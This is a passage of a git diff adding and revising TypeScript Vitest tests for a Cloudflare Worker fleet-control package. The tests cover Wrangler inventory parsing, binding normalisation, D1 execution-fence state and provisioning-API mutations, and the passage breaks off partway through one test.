-      if (sql.includes("sqlite_schema WHERE type = 'table' ORDER BY name")) {
-        results = [
-          ...(sentinelExists
-            ? [{ name: 'flowsafe_deployment', sql: sentinelDdl }]
-            : []),
-          ...(fenceExists
-            ? [{ name: 'flowsafe_execution_fence', sql: 'CREATE' }]
-            : []),
-        ];
-      } else if (
-        sql.includes('name = ?') &&
-        bindings[0] === 'flowsafe_deployment'
-      ) {
-        results = sentinelExists ? [{ sql: sentinelDdl }] : [];
-      } else if (sql.startsWith('PRAGMA table_info')) {
-        results = [
-          { name: 'id', type: 'INTEGER', notnull: 0, pk: 1 },
-          { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 },
-          { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 },
-        ];
-      } else if (sql.startsWith('SELECT id, tenant_tag')) {
-        results = owner ? [{ id: 1, tenant_tag: owner }] : [];
-      } else if (
-        // Matched on the TARGET table, ahead of the generic arms: the ownership
-        // insert names the fence table inside its exclusion list.
-        sql.startsWith('CREATE TABLE IF NOT EXISTS flowsafe_execution_fence')
-      ) {
-        fenceExists = true;
-      } else if (
-        sql.startsWith('INSERT OR IGNORE INTO flowsafe_execution_fence')
-      ) {
+      if (sql.startsWith('INSERT OR IGNORE INTO flowsafe_execution_fence')) {
         fenceBindings = bindings;
-      } else if (sql.startsWith('CREATE TABLE')) {
-        sentinelExists = true;
-      } else if (sql.startsWith('INSERT OR IGNORE')) {
-        owner = String(bindings[0]);
       }
-      return results;
+      const parameters = bindings.map((value) => {
+        if (typeof value !== 'string')
+          throw new Error('fence parameters must be strings');
+        return value;
+      });
+      return d1.queryDatabase(sql, parameters);
     };
     const subject = backend(runner, { routeApi });
 
@@ -1893,7 +1885,22 @@ export default {
     // reaches it as a STRING — the plain-Worker adapter rejects anything else
     // (restD1Bindings), which is why the seeded timestamp is bound as text and
     // left to SQLite's INTEGER affinity.
-    expect(fenceExists).toBe(true);
+    expect(d1.queryDatabase('SELECT * FROM flowsafe_execution_fence')).toEqual([
+      {
+        id: 'deployment',
+        state: 'migration-locked',
+        proof_key: null,
+        proof_run_id: null,
+        updated_at: expect.any(Number),
+        last_transition_request: null,
+        transition_revision: 0,
+        mutation_epoch: 0,
+        require_mutation_epoch: 0,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      },
+    ]);
     expect(fenceBindings).toEqual([
       'deployment',
       'migration-locked',
@@ -2079,7 +2086,7 @@ export default {
     await expect(
       backend(runner).ensureDatabase(deployment, fence),
     ).rejects.toThrow(
-      'Wrangler command maximum duration must be below the external mutation fence lease TTL',
+      'provider mutation maximum duration must be below the external mutation fence lease TTL',
     );
     expect(runner.calls.map(operation)).toEqual([]);
     expect(fence.assertOwned).not.toHaveBeenCalled();
@@ -2892,47 +2899,15 @@ export default {
       deleteDeploymentWorker(backend(runner, { routeApi })),
     ).rejects.toThrow(/remains after delete/);
 
-    const stickyRoute: PlainWorkerRouteApi = {
-      ...databaseRouteMethods(),
-      async listWorkerDatabaseAttachments() {
-        return [];
-      },
-      async listOrdinaryWorkerSecretNames() {
-        return [];
-      },
-      async deleteControlSecrets() {},
-      async inspectActiveWorkerRoute(): Promise<never> {
-        throw new Error('unused');
-      },
-      async listCustomDomains() {
-        return [
-          {
-            id: 'sticky-domain',
-            hostname: deployment.routeHostname,
-            service: deployment.scriptName,
-          },
-        ];
-      },
-      async inspectOrdinaryWorkerFootprint() {
-        return {
-          scriptPresent: true,
-          customDomains: [
-            {
-              id: 'sticky-domain',
-              hostname: deployment.routeHostname,
-              service: deployment.scriptName,
-            },
-          ],
-          zoneRoutes: [],
-        };
-      },
-      async listDurableObjectNamespaces() {
-        return [];
+    const stickyRoute = new FakeRouteApi([
+      {
+        id: 'sticky-domain',
+        hostname: deployment.routeHostname,
+        service: deployment.scriptName,
       },
-      attachCustomDomain: vi.fn(),
-      detachCustomDomain: vi.fn(),
-      disableOrdinaryWorkerPublicAccess: vi.fn(),
-    };
+    ]);
+    stickyRoute.scriptPresent = true;
+    stickyRoute.domainDetachNoop = true;
     const stickyRunner = ownedWorkerRunner();
     const stickySubject = backend(stickyRunner, { routeApi: stickyRoute });
     await expect(
@@ -3225,4 +3200,32 @@ export default {
     // #then the refusal reaches the caller intact, percentages included
     expect(failure).toBe(split);
   });
+
+  it('carries the route-owned bounded scanner through both Wrangler layers', async () => {
+    const routeApi = new FakeRouteApi();
+    const input: DecommissionAttachmentScanInput = {
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: database.id,
+      }),
+      maxProviderRequests: 12,
+    };
+    const result: DecommissionAttachmentScanResult = { status: 'drift' };
+    const calls: Array<readonly [unknown, DecommissionAttachmentScanInput]> =
+      [];
+    Object.defineProperty(routeApi, 'advanceDecommissionAttachmentScan', {
+      configurable: true,
+      value(this: unknown, actual: DecommissionAttachmentScanInput) {
+        calls.push([this, actual]);
+        return Promise.resolve(result);
+      },
+    });
+    const subject = backend(new FakeRunner(), { routeApi });
+
+    expect(typeof subject.advanceDecommissionAttachmentScan).toBe('function');
+    await expect(
+      subject.advanceDecommissionAttachmentScan?.(input),
+    ).resolves.toBe(result);
+    expect(calls).toEqual([[routeApi, input]]);
+  });
 });
diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts
new file mode 100644
index 00000000..b2522794
--- /dev/null
+++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts
@@ -0,0 +1,1916 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, readFile, stat, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import { Readable } from 'node:stream';
+import { describe, expect, it, vi } from 'vitest';
+import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import {
+  assertSupportedPlainWorkerBindings,
+  plainWorkerBindingsToProviderShape,
+} from '../src/provider-binding-inventory.js';
+import type {
+  DatabaseExportReceiptIdentity,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
+  ExternalMutationFence,
+  PlainWorkerRouteApi,
+  PlainWorkerUploadIntent,
+} from '../src/types.js';
+import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js';
+import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js';
+import {
+  drain,
+  memoryStore,
+  mutationFence,
+  routeApi,
+} from './fixtures/plain-worker-port-probe.js';
+import {
+  type PlainWorkerFsControl,
+  registerScratchCleanup,
+} from './fixtures/wrangler-fs-mock.js';
+
+const RECEIPT_AUTHORITY = 'file:///fleet-exports/.anchorage-receipts/v1';
+const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: RECEIPT_AUTHORITY,
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
+
+const fsControl = vi.hoisted<PlainWorkerFsControl>(() => ({
+  failFleetCleanup: false,
+  residualDirectory: undefined,
+  cleanupError: new Error('scratch cleanup failed'),
+  failOperation: undefined,
+  operationError: new Error('filesystem operation failed'),
+  scratchDirectories: [],
+}));
+
+function scratchDirectories(): string[] {
+  const directories = fsControl.scratchDirectories;
+  if (!directories) {
+    throw new Error(
+      'adapter test filesystem control requires scratch tracking',
+    );
+  }
+  return directories;
+}
+
+/**
+ * Lands one write between the export's size read and its hash. The adapter
+ * reads the size through `node:fs/promises` and hashes through a `node:fs`
+ * stream, so a hook inside the size read is what puts a write between them.
+ */
+const exportRace = vi.hoisted<{
+  growAfterSizeRead: ((path: string) => Promise<void>) | undefined;
+}>(() => ({ growAfterSizeRead: undefined }));
+
+vi.mock('node:fs/promises', async () => {
+  const { createFsPromisesMock } = await import(
+    './fixtures/wrangler-fs-mock.js'
+  );
+  const mock = await createFsPromisesMock(fsControl);
+  return {
+    ...mock,
+    async stat(...arguments_: Parameters<typeof mock.stat>) {
+      const metadata = await mock.stat(...arguments_);
+      await exportRace.growAfterSizeRead?.(String(arguments_[0]));
+      return metadata;
+    },
+  };
+});
+
+const exportDirectories = registerScratchCleanup(fsControl, {
+  cleanupError: fsControl.cleanupError,
+  operationError: fsControl.operationError,
+});
+
+interface RunnerCall {
+  readonly arguments: readonly string[];
+}
+
+class FakeRunner implements CommandRunner {
+  readonly maxDurationMs = 5 * 60_000;
+  readonly calls: RunnerCall[] = [];
+
+  constructor(
+    readonly handler: (
+      arguments_: readonly string[],
+    ) => Promise<CommandResult> = async (arguments_) => {
+      throw new Error(`unstubbed wrangler argv: ${arguments_.join(' ')}`);
+    },
+  ) {}
+
+  run(arguments_: readonly string[]): Promise<CommandResult> {
+    this.calls.push({ arguments: [...arguments_] });
+    return this.handler(arguments_);
+  }
+}
+
+/**
+ * A runner that answers any argv with an empty success, for a case whose
+ * subject is the filesystem outcome rather than the argv.
+ */
+const succeedingRunner = () =>
+  new FakeRunner(async () => ({ stdout: '', stderr: '' }));
+
+async function api(
+  runner: CommandRunner,
+  options: {
+    readonly routeApi?: PlainWorkerRouteApi;
+    readonly exportStore?: DurableDatabaseExportStore;
+    readonly exportDirectory?: string;
+  } = {},
+): Promise<WranglerPlainWorkerProvisioningApi> {
+  const exportDirectory =
+    options.exportDirectory ??
+    (await mkdtemp(join(tmpdir(), 'adapter-export-')));
+  if (!options.exportDirectory) exportDirectories.add(exportDirectory);
+  return new WranglerPlainWorkerProvisioningApi({
+    runner,
+    routeApi: options.routeApi ?? routeApi(),
+    exportDirectory,
+    exportStore: options.exportStore ?? memoryStore(),
+  });
+}
+
+function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent {
+  const shared = {
+    scriptName: 'worker-name',
+    candidateTag: 'candidate-tag',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    compatibilityDate: '2026-08-10',
+    compatibilityFlags: undefined,
+    bindings: {
+      plainText: [{ name: 'TEXT', value: 'value' }],
+      secrets: [{ name: 'SECRET', value: 'secret' }],
+      d1: [{ name: 'DB', databaseId: 'db-id', databaseName: 'db-name' }],
+      durableObjects: [{ name: 'OBJECT', className: 'ObjectClass' }],
+      services: [],
+      queueProducers: [],
+      r2Buckets: [{ name: 'BUCKET', bucketName: 'bucket-name' }],
+    },
+    limits: { cpuMs: 25 },
+    publicAccess: { workersDevEnabled: true, previewUrlsEnabled: false },
+  } as const;
+  return mode === 'initial'
+    ? {
+        ...shared,
+        mode,
+        durableObjectMigrations: [
+          {
+            tag: 'v1',
+            newSqliteClasses: ['ObjectClass'],
+            newClasses: [],
+            deletedClasses: [],
+            renamedClasses: [],
+          },
+        ],
+      }
+    : { ...shared, mode };
+}
+
+async function expectUploadScratchRemoved(): Promise<void> {
+  const actual =
+    await vi.importActual<typeof import('node:fs/promises')>(
+      'node:fs/promises',
+    );
+  expect(scratchDirectories().length).toBeGreaterThan(0);
+  for (const directory of scratchDirectories()) {
+    await expect(actual.stat(directory)).rejects.toThrow();
+  }
+}
+
+async function expectExportScratchRemoved(outputPath: string): Promise<void> {
+  const actual =
+    await vi.importActual<typeof import('node:fs/promises')>(
+      'node:fs/promises',
+    );
+  await expect(actual.stat(dirname(outputPath))).rejects.toThrow();
+}
+
+describe('WranglerPlainWorkerProvisioningApi parsing', () => {
+  it.each([
+    ['array', '[{"uuid":"db-1","name":"one"}]'],
+    ['wrapped array', '{"result":[{"uuid":"db-1","name":"one"}]}'],
+    ['wrapped object', '{"result":{"uuid":"db-1","name":"one"}}'],
+  ])('parses %s JSON results', async (_name, stdout) => {
+    const subject = await api(
+      new FakeRunner(async () => ({ stdout, stderr: '' })),
+    );
+    await expect(subject.listDatabases()).resolves.toEqual([
+      { databaseId: 'db-1', name: 'one' },
+    ]);
+  });
+
+  it('filters database inventory locally without changing Wrangler arguments', async () => {
+    const runner = new FakeRunner(async () => ({
+      stdout: JSON.stringify([
+        { uuid: 'database-1', name: 'acme-production' },
+        { uuid: 'database-2', name: 'other' },
+      ]),
+      stderr: '',
+    }));
+    const subject = await api(runner);
+
+    await expect(
+      subject.listDatabases({ name: 'acme-production' }),
+    ).resolves.toEqual([{ databaseId: 'database-1', name: 'acme-production' }]);
+    expect(runner.calls).toEqual([{ arguments: ['d1', 'list', '--json'] }]);
+  });
+
+  it.each([
+    [{ name: 'target' }],
+    [{ uuid: '', name: 'target' }],
+    [{ uuid: 42, name: 'target' }],
+    [{ uuid: 'id' }],
+    [{ uuid: 'id', name: '' }],
+    [{ uuid: 'id', name: 42 }],
+  ])('refuses incomplete D1 identity before local filtering %#', async (row) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify([row]),
+        stderr: '',
+      })),
+    );
+    await expect(subject.listDatabases({ name: 'target' })).rejects.toThrow(
+      /D1/,
+    );
+  });
+
+  it.each([
+    null,
+    false,
+    {},
+    { result: null },
+    { result: false },
+    { success: false, result: [] },
+    { success: false, result: { versions: [] } },
+    { errors: [{}], result: { versions: [] } },
+    { errors: [{}], result: [] },
+  ])('refuses malformed complete inventory shapes %#', async (result) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify(result),
+        stderr: '',
+      })),
+    );
+    await expect(subject.listDatabases()).rejects.toThrow(/inventory/);
+    await expect(subject.listVersions('worker')).rejects.toThrow(/inventory/);
+    await expect(subject.deploymentStatus('worker')).rejects.toThrow(
+      /inventory/,
+    );
+  });
+
+  it('accepts null errors and messages in Wrangler inventory envelopes', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({
+          success: true,
+          errors: null,
+          messages: null,
+          result: [{ id: 'v1' }],
+        }),
+        stderr: '',
+      })),
+    );
+    await expect(subject.listVersions('worker')).resolves.toEqual([
+      { versionId: 'v1', tag: undefined },
+    ]);
+  });
+
+  it('refuses non-array non-null errors in Wrangler inventory envelopes', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({
+          success: true,
+          errors: 'bad',
+          result: [{ id: 'v1' }],
+        }),
+        stderr: '',
+      })),
+    );
+    await expect(subject.listVersions('worker')).rejects.toThrow(
+      'failed inventory result',
+    );
+  });
+
+  it('rejects invalid JSON with the operation name', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({ stdout: '{', stderr: '' })),
+    );
+    await expect(subject.listDatabases()).rejects.toThrow(
+      'wrangler d1 list returned invalid JSON',
+    );
+  });
+
+  it('normalizes every binding branch and preserves D1 alias compatibility', async () => {
+    const bindings = [
+      {
+        type: 'd1',
+        name: 'DB_SENTINEL',
+        id: '',
+        database_id: 'db-alias',
+      },
+      {
+        type: 'd1',
+        name: 'DB_EQUAL',
+        id: 'db-equal',
+        database_id: 'db-equal',
+      },
+      {
+        type: 'd1',
+        name: 'DB_CONFLICT',
+        id: 'db-legacy',
+        database_id: 'db-current',
+      },
+      {
+        type: 'durable_object_namespace',
+        name: 'OBJECT',
+        class_name: 'ObjectClass',
+        namespace_id: 'namespace',
+      },
+      { type: 'service', name: 'SERVICE', service: 'upstream' },
+      { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' },
+      { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' },
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+      { type: 'secret_text', name: 'SECRET' },
+      { type: 'kv_namespace', name: 'KV' },
+      { type: ' ', name: 'INVALID' },
+      null,
+    ];
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings } }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'requested');
+    expect(viewed).toEqual({
+      versionId: undefined,
+      tag: undefined,
+      bindings: [
+        { type: 'd1', name: 'DB_SENTINEL', databaseId: 'db-alias' },
+        { type: 'd1', name: 'DB_EQUAL', databaseId: 'db-equal' },
+        {
+          type: 'unsupported',
+          name: 'DB_CONFLICT',
+          providerType: 'd1',
+          issue: 'malformed-supported-binding',
+        },
+        {
+          type: 'durable-object',
+          name: 'OBJECT',
+          className: 'ObjectClass',
+          namespaceId: 'namespace',
+        },
+        { type: 'service', name: 'SERVICE', service: 'upstream' },
+        { type: 'queue-producer', name: 'QUEUE', queueName: 'queue-name' },
+        { type: 'r2-bucket', name: 'BUCKET', bucketName: 'bucket-name' },
+        { type: 'plain-text', name: 'TEXT', value: 'value' },
+        { type: 'secret-text', name: 'SECRET' },
+        {
+          type: 'unsupported',
+          name: 'KV',
+          providerType: 'kv_namespace',
+          issue: 'unsupported-type',
+        },
+        {
+          type: 'unsupported',
+          name: 'INVALID',
+          providerType: ' ',
+          issue: 'invalid-type',
+        },
+        {
+          type: 'unsupported',
+          name: undefined,
+          issue: 'not-object',
+        },
+      ],
+    });
+    expect(
+      assertSupportedPlainWorkerBindings(
+        viewed.bindings.slice(0, 2),
+        "plain Worker 'worker'",
+      ),
+    ).toEqual([
+      { type: 'd1', name: 'DB_EQUAL' },
+      { type: 'd1', name: 'DB_SENTINEL' },
+    ]);
+    expect(() =>
+      assertSupportedPlainWorkerBindings(
+        viewed.bindings.slice(2, 3),
+        "plain Worker 'worker'",
+      ),
+    ).toThrow(
+      "plain Worker 'worker' has an unsupported or malformed provider binding",
+    );
+  });
+
+  it('normalizes wrapped binding inventories like direct arrays', async () => {
+    const bindings = [
+      { type: 'd1', name: 'DB', database_id: 'db-id' },
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+    ];
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({
+          resources: { bindings: { result: bindings } },
+        }),
+        stderr: '',
+      })),
+    );
+
+    await expect(
+      subject.viewVersion('worker', 'version'),
+    ).resolves.toMatchObject({
+      bindings: [
+        { type: 'd1', name: 'DB', databaseId: 'db-id' },
+        { type: 'plain-text', name: 'TEXT', value: 'value' },
+      ],
+    });
+  });
+
+  it.each([
+    [
+      'D1 id',
+      { type: 'd1', name: 'DB', id: 'db-id' },
+      { type: 'd1', name: 'DB', id: 'db-id' },
+    ],
+    [
+      'D1 database_id',
+      { type: 'd1', name: 'DB', database_id: 'db-id' },
+      { type: 'd1', name: 'DB', id: 'db-id' },
+    ],
+    [
+      'Durable Object',
+      {
+        type: 'durable_object_namespace',
+        name: 'OBJECT',
+        namespace_id: 'namespace-id',
+        class_name: 'ObjectClass',
+      },
+      {
+        type: 'durable_object_namespace',
+        name: 'OBJECT',
+        namespace_id: 'namespace-id',
+        class_name: 'ObjectClass',
+      },
+    ],
+    [
+      'service',
+      { type: 'service', name: 'SERVICE', service: 'upstream' },
+      { type: 'service', name: 'SERVICE', service: 'upstream' },
+    ],
+    [
+      'queue producer',
+      { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' },
+      { type: 'queue', name: 'QUEUE', queue_name: 'queue-name' },
+    ],
+    [
+      'R2 bucket',
+      { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' },
+      { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket-name' },
+    ],
+    [
+      'plain text',
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+    ],
+    [
+      'secret text',
+      { type: 'secret_text', name: 'SECRET' },
+      { type: 'secret_text', name: 'SECRET' },
+    ],
+  ] as const)('round-trips the exact valid %s wire object through inventory reconstruction', async (_title, binding, reconstructedBinding) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings: [binding] } }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'version');
+    expect(plainWorkerBindingsToProviderShape(viewed.bindings)).toEqual([
+      reconstructedBinding,
+    ]);
+    expect(
+      assertSupportedPlainWorkerBindings(viewed.bindings, 'version'),
+    ).toEqual([{ type: reconstructedBinding.type, name: binding.name }]);
+  });
+
+  it('refuses explicit null version bindings instead of reporting an empty binding list', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings: null } }),
+        stderr: '',
+      })),
+    );
+    await expect(subject.viewVersion('worker', 'version')).rejects.toThrow();
+  });
+
+  it('reconstructs the exact unsupported provider wire objects', () => {
+    expect(
+      plainWorkerBindingsToProviderShape([
+        { type: 'unsupported', name: undefined, issue: 'not-object' },
+        {
+          type: 'unsupported',
+          name: 'INVALID_STRING',
+          providerType: ' ',
+          issue: 'invalid-type',
+        },
+        {
+          type: 'unsupported',
+          name: 'INVALID_NON_STRING',
+          providerType: undefined,
+          issue: 'invalid-type',
+        },
+        {
+          type: 'unsupported',
+          name: 'KV',
+          providerType: 'kv_namespace',
+          issue: 'unsupported-type',
+        },
+      ]),
+    ).toStrictEqual([
+      undefined,
+      { type: ' ', name: 'INVALID_STRING' },
+      { type: undefined, name: 'INVALID_NON_STRING' },
+      { type: 'kv_namespace', name: 'KV' },
+    ]);
+  });
+
+  it.each([
+    ['D1', { type: 'd1', name: ' ', id: 'db-id' }],
+    [
+      'Durable Object',
+      {
+        type: 'durable_object_namespace',
+        name: ' ',
+        namespace_id: 'namespace',
+        class_name: 'ObjectClass',
+      },
+    ],
+    ['service', { type: 'service', name: ' ', service: 'upstream' }],
+    ['queue', { type: 'queue', name: ' ', queue_name: 'queue' }],
+    ['R2', { type: 'r2_bucket', name: ' ', bucket_name: 'bucket' }],
+    ['plain text', { type: 'plain_text', name: ' ', text: '' }],
+    ['secret text', { type: 'secret_text', name: ' ' }],
+  ] as const)('reports the exact index for a blank %s binding name', async (_title, binding) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings: [binding] } }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'version');
+    expect(() =>
+      assertSupportedPlainWorkerBindings(viewed.bindings, 'version'),
+    ).toThrow('version binding 0 has no valid name');
+  });
+
+  it.each([
+    ['D1 missing id', { type: 'd1', name: 'DB' }],
+    ['D1 blank id', { type: 'd1', name: 'DB', id: ' ' }],
+    [
+      'Durable Object missing namespace',
+      {
+        type: 'durable_object_namespace',
+        name: 'OBJECT',
+        class_name: 'ObjectClass',
+      },
+    ],
+    [
+      'Durable Object blank class',
+      {
+        type: 'durable_object_namespace',
+        name: 'OBJECT',
+        namespace_id: 'namespace',
+        class_name: ' ',
+      },
+    ],
+    ['service missing target', { type: 'service', name: 'SERVICE' }],
+    [
+      'service blank target',
+      { type: 'service', name: 'SERVICE', service: ' ' },
+    ],
+    ['queue missing target', { type: 'queue', name: 'QUEUE' }],
+    ['queue blank target', { type: 'queue', name: 'QUEUE', queue_name: ' ' }],
+    ['R2 missing bucket', { type: 'r2_bucket', name: 'BUCKET' }],
+    [
+      'R2 blank bucket',
+      { type: 'r2_bucket', name: 'BUCKET', bucket_name: ' ' },
+    ],
+    ['plain text missing value', { type: 'plain_text', name: 'TEXT' }],
+  ] as const)('refuses malformed %s with the exact inventory message', async (_title, binding) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings: [binding] } }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'version');
+    expect(() =>
+      assertSupportedPlainWorkerBindings(viewed.bindings, 'version'),
+    ).toThrow('version has an unsupported or malformed provider binding');
+  });
+
+  it('exposes the raw provider type on the unsupported binding fact', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({
+          resources: { bindings: [{ type: 'kv_namespace', name: 'KV' }] },
+        }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'version');
+    expect(viewed.bindings).toEqual([
+      {
+        type: 'unsupported',
+        name: 'KV',
+        providerType: 'kv_namespace',
+        issue: 'unsupported-type',
+      },
+    ]);
+    expect(() =>
+      assertSupportedPlainWorkerBindings(viewed.bindings, 'version'),
+    ).toThrow('version has an unsupported or malformed provider binding');
+  });
+
+  it.each([
+    [
+      'invalid string type',
+      { type: ' ', name: 'INVALID' },
+      {
+        type: 'unsupported',
+        name: 'INVALID',
+        providerType: ' ',
+        issue: 'invalid-type',
+      },
+    ],
+    [
+      'invalid non-string type',
+      { type: 42, name: 'INVALID' },
+      {
+        type: 'unsupported',
+        name: 'INVALID',
+        providerType: undefined,
+        issue: 'invalid-type',
+      },
+    ],
+  ] as const)('refuses the %s binding with the exact inventory message', async (_title, binding, expectedBinding) => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout: JSON.stringify({ resources: { bindings: [binding] } }),
+        stderr: '',
+      })),
+    );
+    const viewed = await subject.viewVersion('worker', 'version');
+    expect(viewed.bindings[0]).toStrictEqual(expectedBinding);
+    expect(() =>
+      assertSupportedPlainWorkerBindings(viewed.bindings, 'version'),
+    ).toThrowError(new Error('version binding 0 has no valid type'));
+  });
+
+  it('reports binding indexes and duplicate names through the shared inventory', () => {
+    expect(() =>
+      assertSupportedPlainWorkerBindings(
+        [
+          {
+            type: 'unsupported',
+            name: undefined,
+            issue: 'not-object',
+          },
+        ],
+        'version',
+      ),
+    ).toThrow('version binding 0 is not an object');
+    expect(() =>
+      assertSupportedPlainWorkerBindings(
+        [
+          { type: 'secret-text', name: 'DUPLICATE' },
+          { type: 'plain-text', name: 'DUPLICATE', value: 'value' },
+        ],
+        'version',
+      ),
+    ).toThrow('version has duplicate provider binding names');
+  });
+
+  it('uses route D1 reads, falls back to Wrangler, and classifies absence only', async () => {
+    const routeRead = vi.fn(async () => ({
+      id: 'db',
+      name: 'route',
+      created: false,
+    }));
+    const routeSubject = await api(new FakeRunner(), {
+      routeApi: routeApi({ getDatabase: routeRead }),
+    });
+    await expect(routeSubject.getDatabase('db')).resolves.toEqual({
+      id: 'db',
+      name: 'route',
+      created: false,
+    });
+    expect(routeRead).toHaveBeenCalledWith('db');
+
+    const success = await api(
+      new FakeRunner(async () => ({
+        stdout: '{"result":{"uuid":"db","name":"fallback"}}',
+        stderr: '',
+      })),
+    );
+    await expect(success.getDatabase('db')).resolves.toEqual({
+      id: 'db',
+      name: 'fallback',
+      created: false,
+    });
+
+    const absent = await api(
+      new FakeRunner(async () => {
+        throw new Error('D1 database does not exist');
+      }),
+    );
+    await expect(absent.getDatabase('db')).resolves.toBeUndefined();
+    const denied = new Error('authentication failed');
+    const failure = await api(
+      new FakeRunner(async () => {
+        throw denied;
+      }),
+    );
+    await expect(failure.getDatabase('db')).rejects.toBe(denied);
+    const malformed = await api(
+      new FakeRunner(async () => ({ stdout: '{"uuid":"other"}', stderr: '' })),
+    );
+    await expect(malformed.getDatabase('db')).rejects.toThrow(
+      'D1 info result has an invalid uuid or name',
+    );
+  });
+
+  it('distinguishes an absent version inventory from an empty one and preserves missing ids', async () => {
+    const absent = await api(
+      new FakeRunner(async () => {
+        throw new Error('Worker not found');
+      }),
+    );
+    await expect(absent.listVersions('worker')).resolves.toBeUndefined();
+    const empty = await api(
+      new FakeRunner(async () => ({ stdout: '[]', stderr: '' })),
+    );
+    await expect(empty.listVersions('worker')).resolves.toEqual([]);
+    const incomplete = await api(
+      new FakeRunner(async () => ({
+        stdout: '[{"tag":"candidate"}]',
+        stderr: '',
+      })),
+    );
+    await expect(incomplete.listVersions('worker')).resolves.toEqual([
+      { versionId: undefined, tag: 'candidate' },
+    ]);
+    const denied = new Error('version inventory permission denied');
+    const failure = await api(
+      new FakeRunner(async () => {
+        throw denied;
+      }),
+    );
+    await expect(failure.listVersions('worker')).rejects.toBe(denied);
+  });
+
+  it('keeps strict and absence-classifying version reads separate', async () => {
+    const missing = new Error('version 10090 not found');
+    const subject = await api(
+      new FakeRunner(async () => {
+        throw missing;
+      }),
+    );
+    await expect(subject.viewVersion('worker', 'v1')).rejects.toBe(missing);
+    await expect(subject.findVersion('worker', 'v1')).resolves.toBeUndefined();
+    const denied = new Error('permission denied');
+    const failure = await api(
+      new FakeRunner(async () => {
+        throw denied;
+      }),
+    );
+    await expect(failure.findVersion('worker', 'v1')).rejects.toBe(denied);
+  });
+
+  it('returns raw deployment facts without applying backend refusals', async () => {
+    const subject = await api(
+      new FakeRunner(async () => ({
+        stdout:
+          '{"result":{"versions":[{"id":"v1","percentage":"25"},{"id":"v2"},{"id":"v3","percentage":"not-a-number"},{"id":"v4","percentage":null}]}}',
+        stderr: '',
+      })),
+    );
+    await expect(subject.deploymentStatus('worker')).resolves.toEqual({
+      versions: [
+        { versionId: 'v1', percentage: 25 },
+        { versionId: 'v2', percentage: undefined },
+        { versionId: 'v3', percentage: Number.NaN },
+        { versionId: 'v4', percentage: 0 },
+      ],
+    });
+    const denied = new Error('deployment status permission denied');
+    const failure = await api(
+      new FakeRunner(async () => {
+        throw denied;
+      }),
+    );
+    await expect(failure.deploymentStatus('worker')).rejects.toBe(denied);
+  });
+});
+
+describe('WranglerPlainWorkerProvisioningApi mutations', () => {
+  it.each(
+    (['initial', 'staged'] as const).flatMap((mode) =>
+      [
+        {
+          label: 'neither limit',
+          limits: { cpuMs: undefined },
+          wireLimits: undefined,
+        },
+        {
+          label: 'CPU only',
+          limits: { cpuMs: 25 },
+          wireLimits: { cpu_ms: 25 },
+        },
+        {
+          label: 'subrequests only',
+          limits: { cpuMs: undefined, subrequests: 500 },
+          wireLimits: { subrequests: 500 },
+        },
+        {
+          label: 'both limits',
+          limits: { cpuMs: 25, subrequests: 500 },
+          wireLimits: { cpu_ms: 25, subrequests: 500 },
+        },
+      ].map((limits) => ({ mode, ...limits })),
+    ),
+  )('writes the exact $mode config with $label, secret mode, and argv', async ({
+    mode,
+    limits,
+    wireLimits,
+  }) => {
+    let config: unknown;
+    let secretMode: number | undefined;
